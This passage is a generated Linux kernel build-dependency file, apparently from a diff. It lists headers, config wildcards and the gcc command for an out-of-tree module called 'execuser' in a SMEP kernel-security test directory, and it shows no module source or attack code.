||||
$(wildcard include/config/sparsemem/vmemmap.h) \
|
||||
$(wildcard include/config/sparsemem.h) \
|
||||
include/linux/pfn.h \
|
||||
include/asm-generic/getorder.h \
|
||||
arch/x86/include/asm/cpufeature.h \
|
||||
$(wildcard include/config/x86/feature/names.h) \
|
||||
arch/x86/include/asm/processor.h \
|
||||
$(wildcard include/config/kvm.h) \
|
||||
$(wildcard include/config/stackprotector.h) \
|
||||
$(wildcard include/config/paravirt/xxl.h) \
|
||||
$(wildcard include/config/x86/debugctlmsr.h) \
|
||||
$(wildcard include/config/cpu/sup/amd.h) \
|
||||
$(wildcard include/config/xen.h) \
|
||||
arch/x86/include/asm/processor-flags.h \
|
||||
arch/x86/include/uapi/asm/processor-flags.h \
|
||||
arch/x86/include/asm/math_emu.h \
|
||||
arch/x86/include/asm/ptrace.h \
|
||||
arch/x86/include/asm/segment.h \
|
||||
$(wildcard include/config/xen/pv.h) \
|
||||
$(wildcard include/config/x86/32/lazy/gs.h) \
|
||||
arch/x86/include/uapi/asm/ptrace.h \
|
||||
arch/x86/include/uapi/asm/ptrace-abi.h \
|
||||
arch/x86/include/asm/paravirt_types.h \
|
||||
$(wildcard include/config/pgtable/levels.h) \
|
||||
$(wildcard include/config/paravirt/debug.h) \
|
||||
arch/x86/include/asm/desc_defs.h \
|
||||
arch/x86/include/asm/kmap_types.h \
|
||||
$(wildcard include/config/debug/highmem.h) \
|
||||
include/asm-generic/kmap_types.h \
|
||||
arch/x86/include/asm/pgtable_types.h \
|
||||
$(wildcard include/config/mem/soft/dirty.h) \
|
||||
$(wildcard include/config/proc/fs.h) \
|
||||
arch/x86/include/asm/pgtable_64_types.h \
|
||||
arch/x86/include/asm/sparsemem.h \
|
||||
include/asm-generic/pgtable-nop4d.h \
|
||||
arch/x86/include/asm/nospec-branch.h \
|
||||
include/linux/static_key.h \
|
||||
arch/x86/include/asm/alternative-asm.h \
|
||||
arch/x86/include/asm/msr-index.h \
|
||||
arch/x86/include/asm/spinlock_types.h \
|
||||
$(wildcard include/config/paravirt/spinlocks.h) \
|
||||
include/asm-generic/qspinlock_types.h \
|
||||
include/asm-generic/qrwlock_types.h \
|
||||
arch/x86/include/uapi/asm/sigcontext.h \
|
||||
arch/x86/include/asm/msr.h \
|
||||
$(wildcard include/config/tracepoints.h) \
|
||||
arch/x86/include/asm/msr-index.h \
|
||||
arch/x86/include/generated/uapi/asm/errno.h \
|
||||
include/uapi/asm-generic/errno.h \
|
||||
include/uapi/asm-generic/errno-base.h \
|
||||
arch/x86/include/asm/cpumask.h \
|
||||
include/linux/cpumask.h \
|
||||
$(wildcard include/config/cpumask/offstack.h) \
|
||||
$(wildcard include/config/hotplug/cpu.h) \
|
||||
$(wildcard include/config/debug/per/cpu/maps.h) \
|
||||
include/linux/bitmap.h \
|
||||
include/linux/string.h \
|
||||
$(wildcard include/config/binary/printf.h) \
|
||||
$(wildcard include/config/fortify/source.h) \
|
||||
include/uapi/linux/string.h \
|
||||
arch/x86/include/asm/string.h \
|
||||
arch/x86/include/asm/string_64.h \
|
||||
$(wildcard include/config/x86/mce.h) \
|
||||
$(wildcard include/config/arch/has/uaccess/flushcache.h) \
|
||||
include/linux/atomic.h \
|
||||
arch/x86/include/asm/atomic.h \
|
||||
arch/x86/include/asm/cmpxchg.h \
|
||||
arch/x86/include/asm/cmpxchg_64.h \
|
||||
arch/x86/include/asm/atomic64_64.h \
|
||||
include/asm-generic/atomic-instrumented.h \
|
||||
include/linux/atomic-fallback.h \
|
||||
$(wildcard include/config/generic/atomic64.h) \
|
||||
include/asm-generic/atomic-long.h \
|
||||
arch/x86/include/uapi/asm/msr.h \
|
||||
include/linux/tracepoint-defs.h \
|
||||
arch/x86/include/asm/paravirt.h \
|
||||
$(wildcard include/config/debug/entry.h) \
|
||||
arch/x86/include/asm/frame.h \
|
||||
arch/x86/include/asm/special_insns.h \
|
||||
arch/x86/include/asm/fpu/types.h \
|
||||
arch/x86/include/asm/unwind_hints.h \
|
||||
arch/x86/include/asm/orc_types.h \
|
||||
include/linux/personality.h \
|
||||
include/uapi/linux/personality.h \
|
||||
include/linux/err.h \
|
||||
include/linux/irqflags.h \
|
||||
$(wildcard include/config/trace/irqflags.h) \
|
||||
$(wildcard include/config/irqsoff/tracer.h) \
|
||||
$(wildcard include/config/preempt/tracer.h) \
|
||||
$(wildcard include/config/trace/irqflags/support.h) \
|
||||
arch/x86/include/asm/irqflags.h \
|
||||
$(wildcard include/config/debug/lock/alloc.h) \
|
||||
arch/x86/include/asm/user.h \
|
||||
arch/x86/include/asm/user_64.h \
|
||||
arch/x86/include/uapi/asm/auxvec.h \
|
||||
arch/x86/include/asm/fsgsbase.h \
|
||||
arch/x86/include/asm/vdso.h \
|
||||
$(wildcard include/config/x86/x32.h) \
|
||||
include/linux/mm_types.h \
|
||||
$(wildcard include/config/lru/gen.h) \
|
||||
$(wildcard include/config/have/aligned/struct/page.h) \
|
||||
$(wildcard include/config/memcg.h) \
|
||||
$(wildcard include/config/userfaultfd.h) \
|
||||
$(wildcard include/config/swap.h) \
|
||||
$(wildcard include/config/numa.h) \
|
||||
$(wildcard include/config/have/arch/compat/mmap/bases.h) \
|
||||
$(wildcard include/config/membarrier.h) \
|
||||
$(wildcard include/config/aio.h) \
|
||||
$(wildcard include/config/mmu/notifier.h) \
|
||||
$(wildcard include/config/transparent/hugepage.h) \
|
||||
$(wildcard include/config/numa/balancing.h) \
|
||||
$(wildcard include/config/arch/want/batched/unmap/tlb/flush.h) \
|
||||
$(wildcard include/config/hugetlb/page.h) \
|
||||
include/linux/mm_types_task.h \
|
||||
$(wildcard include/config/split/ptlock/cpus.h) \
|
||||
$(wildcard include/config/arch/enable/split/pmd/ptlock.h) \
|
||||
arch/x86/include/asm/tlbbatch.h \
|
||||
include/linux/kabi.h \
|
||||
include/linux/ky_kabi.h \
|
||||
$(wildcard include/config/ky/kabi/size/align/checks.h) \
|
||||
include/linux/kconfig.h \
|
||||
include/linux/auxvec.h \
|
||||
include/uapi/linux/auxvec.h \
|
||||
include/linux/list.h \
|
||||
$(wildcard include/config/debug/list.h) \
|
||||
include/linux/poison.h \
|
||||
$(wildcard include/config/illegal/pointer/value.h) \
|
||||
$(wildcard include/config/page/poisoning/zero.h) \
|
||||
include/linux/spinlock.h \
|
||||
$(wildcard include/config/debug/spinlock.h) \
|
||||
$(wildcard include/config/preemption.h) \
|
||||
include/linux/preempt.h \
|
||||
$(wildcard include/config/preempt/count.h) \
|
||||
$(wildcard include/config/trace/preempt/toggle.h) \
|
||||
$(wildcard include/config/preempt/notifiers.h) \
|
||||
arch/x86/include/asm/preempt.h \
|
||||
include/linux/bottom_half.h \
|
||||
arch/x86/include/generated/asm/mmiowb.h \
|
||||
include/asm-generic/mmiowb.h \
|
||||
$(wildcard include/config/mmiowb.h) \
|
||||
include/linux/spinlock_types.h \
|
||||
include/linux/lockdep.h \
|
||||
$(wildcard include/config/lockdep.h) \
|
||||
$(wildcard include/config/lock/stat.h) \
|
||||
include/linux/rwlock_types.h \
|
||||
arch/x86/include/asm/spinlock.h \
|
||||
arch/x86/include/asm/qspinlock.h \
|
||||
include/asm-generic/qspinlock.h \
|
||||
$(wildcard include/config/cpu/loongson3.h) \
|
||||
arch/x86/include/asm/qrwlock.h \
|
||||
include/asm-generic/qrwlock.h \
|
||||
include/linux/rwlock.h \
|
||||
$(wildcard include/config/preempt.h) \
|
||||
include/linux/spinlock_api_smp.h \
|
||||
$(wildcard include/config/inline/spin/lock.h) \
|
||||
$(wildcard include/config/inline/spin/lock/bh.h) \
|
||||
$(wildcard include/config/inline/spin/lock/irq.h) \
|
||||
$(wildcard include/config/inline/spin/lock/irqsave.h) \
|
||||
$(wildcard include/config/inline/spin/trylock.h) \
|
||||
$(wildcard include/config/inline/spin/trylock/bh.h) \
|
||||
$(wildcard include/config/uninline/spin/unlock.h) \
|
||||
$(wildcard include/config/inline/spin/unlock/bh.h) \
|
||||
$(wildcard include/config/inline/spin/unlock/irq.h) \
|
||||
$(wildcard include/config/inline/spin/unlock/irqrestore.h) \
|
||||
$(wildcard include/config/generic/lockbreak.h) \
|
||||
include/linux/rwlock_api_smp.h \
|
||||
$(wildcard include/config/inline/read/lock.h) \
|
||||
$(wildcard include/config/inline/write/lock.h) \
|
||||
$(wildcard include/config/inline/read/lock/bh.h) \
|
||||
$(wildcard include/config/inline/write/lock/bh.h) \
|
||||
$(wildcard include/config/inline/read/lock/irq.h) \
|
||||
$(wildcard include/config/inline/write/lock/irq.h) \
|
||||
$(wildcard include/config/inline/read/lock/irqsave.h) \
|
||||
$(wildcard include/config/inline/write/lock/irqsave.h) \
|
||||
$(wildcard include/config/inline/read/trylock.h) \
|
||||
$(wildcard include/config/inline/write/trylock.h) \
|
||||
$(wildcard include/config/inline/read/unlock.h) \
|
||||
$(wildcard include/config/inline/write/unlock.h) \
|
||||
$(wildcard include/config/inline/read/unlock/bh.h) \
|
||||
$(wildcard include/config/inline/write/unlock/bh.h) \
|
||||
$(wildcard include/config/inline/read/unlock/irq.h) \
|
||||
$(wildcard include/config/inline/write/unlock/irq.h) \
|
||||
$(wildcard include/config/inline/read/unlock/irqrestore.h) \
|
||||
$(wildcard include/config/inline/write/unlock/irqrestore.h) \
|
||||
include/linux/rbtree.h \
|
||||
include/linux/rcupdate.h \
|
||||
$(wildcard include/config/preempt/rcu.h) \
|
||||
$(wildcard include/config/rcu/stall/common.h) \
|
||||
$(wildcard include/config/no/hz/full.h) \
|
||||
$(wildcard include/config/rcu/nocb/cpu.h) \
|
||||
$(wildcard include/config/tasks/rcu.h) \
|
||||
$(wildcard include/config/tree/rcu.h) \
|
||||
$(wildcard include/config/tiny/rcu.h) \
|
||||
$(wildcard include/config/debug/objects/rcu/head.h) \
|
||||
$(wildcard include/config/prove/rcu.h) \
|
||||
$(wildcard include/config/rcu/boost.h) \
|
||||
$(wildcard include/config/arch/weak/release/acquire.h) \
|
||||
include/linux/rcutree.h \
|
||||
include/linux/rwsem.h \
|
||||
$(wildcard include/config/rwsem/spin/on/owner.h) \
|
||||
$(wildcard include/config/debug/rwsems.h) \
|
||||
include/linux/osq_lock.h \
|
||||
include/linux/completion.h \
|
||||
include/linux/wait.h \
|
||||
include/uapi/linux/wait.h \
|
||||
include/linux/uprobes.h \
|
||||
$(wildcard include/config/uprobes.h) \
|
||||
include/linux/errno.h \
|
||||
include/uapi/linux/errno.h \
|
||||
arch/x86/include/asm/uprobes.h \
|
||||
include/linux/notifier.h \
|
||||
$(wildcard include/config/tree/srcu.h) \
|
||||
include/linux/mutex.h \
|
||||
$(wildcard include/config/mutex/spin/on/owner.h) \
|
||||
$(wildcard include/config/debug/mutexes.h) \
|
||||
include/linux/debug_locks.h \
|
||||
$(wildcard include/config/debug/locking/api/selftests.h) \
|
||||
include/linux/srcu.h \
|
||||
$(wildcard include/config/tiny/srcu.h) \
|
||||
$(wildcard include/config/srcu.h) \
|
||||
include/linux/workqueue.h \
|
||||
$(wildcard include/config/debug/objects/work.h) \
|
||||
$(wildcard include/config/freezer.h) \
|
||||
$(wildcard include/config/sysfs.h) \
|
||||
$(wildcard include/config/wq/watchdog.h) \
|
||||
include/linux/timer.h \
|
||||
$(wildcard include/config/debug/objects/timers.h) \
|
||||
$(wildcard include/config/preempt/rt.h) \
|
||||
$(wildcard include/config/no/hz/common.h) \
|
||||
include/linux/ktime.h \
|
||||
include/linux/time.h \
|
||||
$(wildcard include/config/arch/uses/gettimeoffset.h) \
|
||||
include/linux/seqlock.h \
|
||||
include/linux/time32.h \
|
||||
include/linux/timex.h \
|
||||
include/uapi/linux/timex.h \
|
||||
include/uapi/linux/param.h \
|
||||
arch/x86/include/generated/uapi/asm/param.h \
|
||||
include/asm-generic/param.h \
|
||||
$(wildcard include/config/hz.h) \
|
||||
include/uapi/asm-generic/param.h \
|
||||
arch/x86/include/asm/timex.h \
|
||||
arch/x86/include/asm/tsc.h \
|
||||
$(wildcard include/config/x86/tsc.h) \
|
||||
include/linux/jiffies.h \
|
||||
include/generated/timeconst.h \
|
||||
include/linux/timekeeping.h \
|
||||
include/linux/timekeeping32.h \
|
||||
include/linux/debugobjects.h \
|
||||
$(wildcard include/config/debug/objects.h) \
|
||||
$(wildcard include/config/debug/objects/free.h) \
|
||||
include/linux/rcu_segcblist.h \
|
||||
include/linux/srcutree.h \
|
||||
include/linux/rcu_node_tree.h \
|
||||
$(wildcard include/config/rcu/fanout.h) \
|
||||
$(wildcard include/config/rcu/fanout/leaf.h) \
|
||||
include/linux/page-flags-layout.h \
|
||||
$(wildcard include/config/kasan/sw/tags.h) \
|
||||
include/linux/numa.h \
|
||||
$(wildcard include/config/nodes/shift.h) \
|
||||
include/generated/bounds.h \
|
||||
arch/x86/include/asm/mmu.h \
|
||||
$(wildcard include/config/modify/ldt/syscall.h) \
|
||||
include/uapi/linux/elf.h \
|
||||
include/uapi/linux/elf-em.h \
|
||||
include/linux/module.h \
|
||||
$(wildcard include/config/modules/tree/lookup.h) \
|
||||
$(wildcard include/config/livepatch.h) \
|
||||
$(wildcard include/config/module/sig.h) \
|
||||
$(wildcard include/config/kallsyms.h) \
|
||||
$(wildcard include/config/bpf/events.h) \
|
||||
$(wildcard include/config/event/tracing.h) \
|
||||
$(wildcard include/config/constructors.h) \
|
||||
$(wildcard include/config/function/error/injection.h) \
|
||||
include/linux/stat.h \
|
||||
arch/x86/include/uapi/asm/stat.h \
|
||||
include/uapi/linux/stat.h \
|
||||
include/linux/uidgid.h \
|
||||
$(wildcard include/config/multiuser.h) \
|
||||
$(wildcard include/config/user/ns.h) \
|
||||
include/linux/highuid.h \
|
||||
include/linux/kmod.h \
|
||||
include/linux/umh.h \
|
||||
include/linux/gfp.h \
|
||||
$(wildcard include/config/highmem.h) \
|
||||
$(wildcard include/config/zone/dma.h) \
|
||||
$(wildcard include/config/zone/dma32.h) \
|
||||
$(wildcard include/config/zone/device.h) \
|
||||
$(wildcard include/config/pm/sleep.h) \
|
||||
$(wildcard include/config/contig/alloc.h) \
|
||||
$(wildcard include/config/cma.h) \
|
||||
include/linux/mmdebug.h \
|
||||
$(wildcard include/config/debug/vm.h) \
|
||||
$(wildcard include/config/debug/vm/pgflags.h) \
|
||||
include/linux/mmzone.h \
|
||||
$(wildcard include/config/force/max/zoneorder.h) \
|
||||
$(wildcard include/config/memory/isolation.h) \
|
||||
$(wildcard include/config/zsmalloc.h) \
|
||||
$(wildcard include/config/lru/gen/stats.h) \
|
||||
$(wildcard include/config/memory/hotplug.h) \
|
||||
$(wildcard include/config/compaction.h) \
|
||||
$(wildcard include/config/flat/node/mem/map.h) \
|
||||
$(wildcard include/config/page/extension.h) \
|
||||
$(wildcard include/config/deferred/struct/page/init.h) \
|
||||
$(wildcard include/config/have/memory/present.h) \
|
||||
$(wildcard include/config/have/memoryless/nodes.h) \
|
||||
$(wildcard include/config/have/memblock/node/map.h) \
|
||||
$(wildcard include/config/need/multiple/nodes.h) \
|
||||
$(wildcard include/config/have/arch/early/pfn/to/nid.h) \
|
||||
$(wildcard include/config/sparsemem/extreme.h) \
|
||||
$(wildcard include/config/memory/hotremove.h) \
|
||||
$(wildcard include/config/have/arch/pfn/valid.h) \
|
||||
$(wildcard include/config/holes/in/zone.h) \
|
||||
$(wildcard include/config/arch/has/holes/memorymodel.h) \
|
||||
include/linux/nodemask.h \
|
||||
include/linux/pageblock-flags.h \
|
||||
$(wildcard include/config/hugetlb/page/size/variable.h) \
|
||||
include/linux/page-flags.h \
|
||||
$(wildcard include/config/arch/uses/pg/uncached.h) \
|
||||
$(wildcard include/config/memory/failure.h) \
|
||||
$(wildcard include/config/idle/page/tracking.h) \
|
||||
$(wildcard include/config/thp/swap.h) \
|
||||
$(wildcard include/config/ksm.h) \
|
||||
include/linux/memory_hotplug.h \
|
||||
$(wildcard include/config/arch/has/add/pages.h) \
|
||||
$(wildcard include/config/have/arch/nodedata/extension.h) \
|
||||
$(wildcard include/config/have/bootmem/info/node.h) \
|
||||
arch/x86/include/asm/mmzone.h \
|
||||
arch/x86/include/asm/mmzone_64.h \
|
||||
arch/x86/include/asm/smp.h \
|
||||
$(wildcard include/config/x86/local/apic.h) \
|
||||
$(wildcard include/config/x86/io/apic.h) \
|
||||
$(wildcard include/config/debug/nmi/selftest.h) \
|
||||
arch/x86/include/asm/mpspec.h \
|
||||
$(wildcard include/config/eisa.h) \
|
||||
$(wildcard include/config/x86/mpparse.h) \
|
||||
arch/x86/include/asm/mpspec_def.h \
|
||||
arch/x86/include/asm/x86_init.h \
|
||||
arch/x86/include/asm/apicdef.h \
|
||||
arch/x86/include/asm/apic.h \
|
||||
$(wildcard include/config/x86/x2apic.h) \
|
||||
arch/x86/include/asm/fixmap.h \
|
||||
$(wildcard include/config/provide/ohci1394/dma/init.h) \
|
||||
$(wildcard include/config/pci/mmconfig.h) \
|
||||
$(wildcard include/config/x86/intel/mid.h) \
|
||||
$(wildcard include/config/acpi/apei/ghes.h) \
|
||||
$(wildcard include/config/intel/txt.h) \
|
||||
arch/x86/include/asm/acpi.h \
|
||||
$(wildcard include/config/acpi/apei.h) \
|
||||
$(wildcard include/config/acpi.h) \
|
||||
$(wildcard include/config/acpi/numa.h) \
|
||||
include/acpi/pdc_intel.h \
|
||||
arch/x86/include/asm/numa.h \
|
||||
$(wildcard include/config/numa/emu.h) \
|
||||
arch/x86/include/asm/topology.h \
|
||||
$(wildcard include/config/sched/mc/prio.h) \
|
||||
include/asm-generic/topology.h \
|
||||
arch/x86/include/asm/realmode.h \
|
||||
$(wildcard include/config/acpi/sleep.h) \
|
||||
arch/x86/include/asm/io.h \
|
||||
$(wildcard include/config/mtrr.h) \
|
||||
$(wildcard include/config/x86/pat.h) \
|
||||
arch/x86/include/generated/asm/early_ioremap.h \
|
||||
include/asm-generic/early_ioremap.h \
|
||||
$(wildcard include/config/generic/early/ioremap.h) \
|
||||
include/asm-generic/iomap.h \
|
||||
$(wildcard include/config/has/ioport/map.h) \
|
||||
$(wildcard include/config/pci.h) \
|
||||
$(wildcard include/config/generic/iomap.h) \
|
||||
include/asm-generic/pci_iomap.h \
|
||||
$(wildcard include/config/no/generic/pci/ioport/map.h) \
|
||||
$(wildcard include/config/generic/pci/iomap.h) \
|
||||
include/asm-generic/io.h \
|
||||
$(wildcard include/config/virt/to/bus.h) \
|
||||
include/linux/logic_pio.h \
|
||||
$(wildcard include/config/indirect/pio.h) \
|
||||
include/linux/fwnode.h \
|
||||
include/linux/vmalloc.h \
|
||||
include/linux/llist.h \
|
||||
$(wildcard include/config/arch/have/nmi/safe/cmpxchg.h) \
|
||||
include/linux/overflow.h \
|
||||
arch/x86/include/uapi/asm/vsyscall.h \
|
||||
include/asm-generic/fixmap.h \
|
||||
arch/x86/include/asm/hardirq.h \
|
||||
$(wildcard include/config/kvm/intel.h) \
|
||||
$(wildcard include/config/have/kvm.h) \
|
||||
$(wildcard include/config/x86/thermal/vector.h) \
|
||||
$(wildcard include/config/x86/mce/threshold.h) \
|
||||
$(wildcard include/config/x86/mce/amd.h) \
|
||||
$(wildcard include/config/x86/hv/callback/vector.h) \
|
||||
$(wildcard include/config/hyperv.h) \
|
||||
arch/x86/include/asm/io_apic.h \
|
||||
arch/x86/include/asm/irq_vectors.h \
|
||||
$(wildcard include/config/pci/msi.h) \
|
||||
include/linux/topology.h \
|
||||
$(wildcard include/config/use/percpu/numa/node/id.h) \
|
||||
$(wildcard include/config/sched/smt.h) \
|
||||
include/linux/arch_topology.h \
|
||||
$(wildcard include/config/generic/arch/topology.h) \
|
||||
include/linux/percpu.h \
|
||||
$(wildcard include/config/need/per/cpu/embed/first/chunk.h) \
|
||||
$(wildcard include/config/need/per/cpu/page/first/chunk.h) \
|
||||
include/linux/smp.h \
|
||||
$(wildcard include/config/up/late/init.h) \
|
||||
include/linux/sysctl.h \
|
||||
$(wildcard include/config/sysctl.h) \
|
||||
include/uapi/linux/sysctl.h \
|
||||
include/linux/kobject.h \
|
||||
$(wildcard include/config/uevent/helper.h) \
|
||||
$(wildcard include/config/debug/kobject/release.h) \
|
||||
include/linux/sysfs.h \
|
||||
include/linux/kernfs.h \
|
||||
$(wildcard include/config/kernfs.h) \
|
||||
include/linux/idr.h \
|
||||
include/linux/radix-tree.h \
|
||||
include/linux/xarray.h \
|
||||
$(wildcard include/config/xarray/multi.h) \
|
||||
include/linux/kobject_ns.h \
|
||||
include/linux/kref.h \
|
||||
include/linux/refcount.h \
|
||||
$(wildcard include/config/refcount/full.h) \
|
||||
arch/x86/include/asm/refcount.h \
|
||||
include/linux/moduleparam.h \
|
||||
$(wildcard include/config/alpha.h) \
|
||||
$(wildcard include/config/ia64.h) \
|
||||
$(wildcard include/config/ppc64.h) \
|
||||
$(wildcard include/config/sw64.h) \
|
||||
include/linux/rbtree_latch.h \
|
||||
include/linux/error-injection.h \
|
||||
include/asm-generic/error-injection.h \
|
||||
arch/x86/include/asm/module.h \
|
||||
$(wildcard include/config/unwinder/orc.h) \
|
||||
$(wildcard include/config/m486.h) \
|
||||
$(wildcard include/config/m586.h) \
|
||||
$(wildcard include/config/m586tsc.h) \
|
||||
$(wildcard include/config/m586mmx.h) \
|
||||
$(wildcard include/config/mcore2.h) \
|
||||
$(wildcard include/config/m686.h) \
|
||||
$(wildcard include/config/mpentiumii.h) \
|
||||
$(wildcard include/config/mpentiumiii.h) \
|
||||
$(wildcard include/config/mpentiumm.h) \
|
||||
$(wildcard include/config/mpentium4.h) \
|
||||
$(wildcard include/config/mk6.h) \
|
||||
$(wildcard include/config/mk8.h) \
|
||||
$(wildcard include/config/melan.h) \
|
||||
$(wildcard include/config/mcrusoe.h) \
|
||||
$(wildcard include/config/mefficeon.h) \
|
||||
$(wildcard include/config/mwinchipc6.h) \
|
||||
$(wildcard include/config/mwinchip3d.h) \
|
||||
$(wildcard include/config/mcyrixiii.h) \
|
||||
$(wildcard include/config/mviac3/2.h) \
|
||||
$(wildcard include/config/mviac7.h) \
|
||||
$(wildcard include/config/mgeodegx1.h) \
|
||||
$(wildcard include/config/mgeode/lx.h) \
|
||||
include/asm-generic/module.h \
|
||||
$(wildcard include/config/have/mod/arch/specific.h) \
|
||||
$(wildcard include/config/modules/use/elf/rel.h) \
|
||||
$(wildcard include/config/modules/use/elf/rela.h) \
|
||||
arch/x86/include/asm/orc_types.h \
|
||||
include/linux/vermagic.h \
|
||||
include/generated/utsrelease.h \
|
||||
|
||||
/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.mod.o: $(deps_/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.mod.o)
|
||||
|
||||
$(deps_/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.mod.o):
|
|
@ -0,0 +1,883 @@
|
|||
cmd_/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.o := gcc -Wp,-MD,/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/.execuser.o.d -nostdinc -isystem /usr/lib/gcc/x86_64-linux-gnu/9/include -I./arch/x86/include -I./arch/x86/include/generated -I./include -I./arch/x86/include/uapi -I./arch/x86/include/generated/uapi -I./include/uapi -I./include/generated/uapi -include ./include/linux/kconfig.h -Iubuntu/include -include ./include/linux/compiler_types.h -D__KERNEL__ -Wall -Wundef -Werror=strict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -fshort-wchar -fno-PIE -Werror=implicit-function-declaration -Werror=implicit-int -Wno-format-security -std=gnu89 -mno-sse -mno-mmx -mno-sse2 -mno-3dnow -mno-avx -m64 -falign-jumps=1 -falign-loops=1 -mno-80387 -mno-fp-ret-in-387 -mpreferred-stack-boundary=3 -mskip-rax-setup -mtune=generic -mno-red-zone -mcmodel=kernel -DCONFIG_X86_X32_ABI -DCONFIG_AS_CFI=1 -DCONFIG_AS_CFI_SIGNAL_FRAME=1 -DCONFIG_AS_CFI_SECTIONS=1 -DCONFIG_AS_SSSE3=1 -DCONFIG_AS_AVX=1 -DCONFIG_AS_AVX2=1 -DCONFIG_AS_AVX512=1 -DCONFIG_AS_SHA1_NI=1 -DCONFIG_AS_SHA256_NI=1 -Wno-sign-compare -fno-asynchronous-unwind-tables -mindirect-branch=thunk-extern -mindirect-branch-register -fno-jump-tables -fno-delete-null-pointer-checks -Wno-frame-address -Wno-format-truncation -Wno-format-overflow -Wno-address-of-packed-member -O2 --param=allow-store-data-races=0 -Wframe-larger-than=1024 -fstack-protector-strong -Wno-unused-but-set-variable -Wimplicit-fallthrough -Wno-unused-const-variable -fno-omit-frame-pointer -fno-optimize-sibling-calls -fno-var-tracking-assignments -pg -mrecord-mcount -mfentry -DCC_USING_FENTRY -flive-patching=inline-clone -Wdeclaration-after-statement -Wvla -Wno-pointer-sign -Wno-stringop-truncation -fno-strict-overflow -fno-merge-all-constants -fmerge-constants -fno-stack-check -fconserve-stack -Werror=date-time -Werror=incompatible-pointer-types -Werror=designated-init -fmacro-prefix-map=./= -fcf-protection=none -Wno-packed-not-aligned -I/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/../../ -DMODULE -DKBUILD_BASENAME='"execuser"' -DKBUILD_MODNAME='"execuser"' -c -o /media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.o /media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.c
|
||||
|
||||
source_/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.o := /media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.c
|
||||
|
||||
deps_/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.o := \
|
||||
include/linux/kconfig.h \
|
||||
$(wildcard include/config/cpu/big/endian.h) \
|
||||
$(wildcard include/config/booger.h) \
|
||||
$(wildcard include/config/foo.h) \
|
||||
include/linux/compiler_types.h \
|
||||
$(wildcard include/config/have/arch/compiler/h.h) \
|
||||
$(wildcard include/config/enable/must/check.h) \
|
||||
$(wildcard include/config/optimize/inlining.h) \
|
||||
$(wildcard include/config/cc/has/asm/inline.h) \
|
||||
include/linux/compiler_attributes.h \
|
||||
include/linux/compiler-gcc.h \
|
||||
$(wildcard include/config/retpoline.h) \
|
||||
$(wildcard include/config/arch/use/builtin/bswap.h) \
|
||||
include/linux/module.h \
|
||||
$(wildcard include/config/modules.h) \
|
||||
$(wildcard include/config/sysfs.h) \
|
||||
$(wildcard include/config/modules/tree/lookup.h) \
|
||||
$(wildcard include/config/livepatch.h) \
|
||||
$(wildcard include/config/unused/symbols.h) \
|
||||
$(wildcard include/config/module/sig.h) \
|
||||
$(wildcard include/config/generic/bug.h) \
|
||||
$(wildcard include/config/kallsyms.h) \
|
||||
$(wildcard include/config/smp.h) \
|
||||
$(wildcard include/config/tracepoints.h) \
|
||||
$(wildcard include/config/tree/srcu.h) \
|
||||
$(wildcard include/config/bpf/events.h) \
|
||||
$(wildcard include/config/jump/label.h) \
|
||||
$(wildcard include/config/tracing.h) \
|
||||
$(wildcard include/config/event/tracing.h) \
|
||||
$(wildcard include/config/ftrace/mcount/record.h) \
|
||||
$(wildcard include/config/module/unload.h) \
|
||||
$(wildcard include/config/constructors.h) \
|
||||
$(wildcard include/config/function/error/injection.h) \
|
||||
$(wildcard include/config/strict/module/rwx.h) \
|
||||
include/linux/kabi.h \
|
||||
include/linux/ky_kabi.h \
|
||||
$(wildcard include/config/ky/kabi/size/align/checks.h) \
|
||||
include/linux/kconfig.h \
|
||||
include/linux/compiler.h \
|
||||
$(wildcard include/config/trace/branch/profiling.h) \
|
||||
$(wildcard include/config/profile/all/branches.h) \
|
||||
$(wildcard include/config/stack/validation.h) \
|
||||
$(wildcard include/config/kasan.h) \
|
||||
include/linux/compiler_types.h \
|
||||
include/uapi/linux/types.h \
|
||||
arch/x86/include/generated/uapi/asm/types.h \
|
||||
include/uapi/asm-generic/types.h \
|
||||
include/asm-generic/int-ll64.h \
|
||||
include/uapi/asm-generic/int-ll64.h \
|
||||
arch/x86/include/uapi/asm/bitsperlong.h \
|
||||
include/asm-generic/bitsperlong.h \
|
||||
$(wildcard include/config/64bit.h) \
|
||||
include/uapi/asm-generic/bitsperlong.h \
|
||||
include/uapi/linux/posix_types.h \
|
||||
include/linux/stddef.h \
|
||||
include/uapi/linux/stddef.h \
|
||||
arch/x86/include/asm/posix_types.h \
|
||||
$(wildcard include/config/x86/32.h) \
|
||||
arch/x86/include/uapi/asm/posix_types_64.h \
|
||||
include/uapi/asm-generic/posix_types.h \
|
||||
arch/x86/include/asm/barrier.h \
|
||||
arch/x86/include/asm/alternative.h \
|
||||
include/linux/types.h \
|
||||
$(wildcard include/config/have/uid16.h) \
|
||||
$(wildcard include/config/uid16.h) \
|
||||
$(wildcard include/config/arch/dma/addr/t/64bit.h) \
|
||||
$(wildcard include/config/phys/addr/t/64bit.h) \
|
||||
include/linux/stringify.h \
|
||||
arch/x86/include/asm/asm.h \
|
||||
arch/x86/include/asm/nops.h \
|
||||
$(wildcard include/config/mk7.h) \
|
||||
$(wildcard include/config/x86/p6/nop.h) \
|
||||
$(wildcard include/config/x86/64.h) \
|
||||
include/asm-generic/barrier.h \
|
||||
include/linux/kasan-checks.h \
|
||||
include/linux/list.h \
|
||||
$(wildcard include/config/debug/list.h) \
|
||||
include/linux/poison.h \
|
||||
$(wildcard include/config/illegal/pointer/value.h) \
|
||||
$(wildcard include/config/page/poisoning/zero.h) \
|
||||
include/linux/const.h \
|
||||
include/uapi/linux/const.h \
|
||||
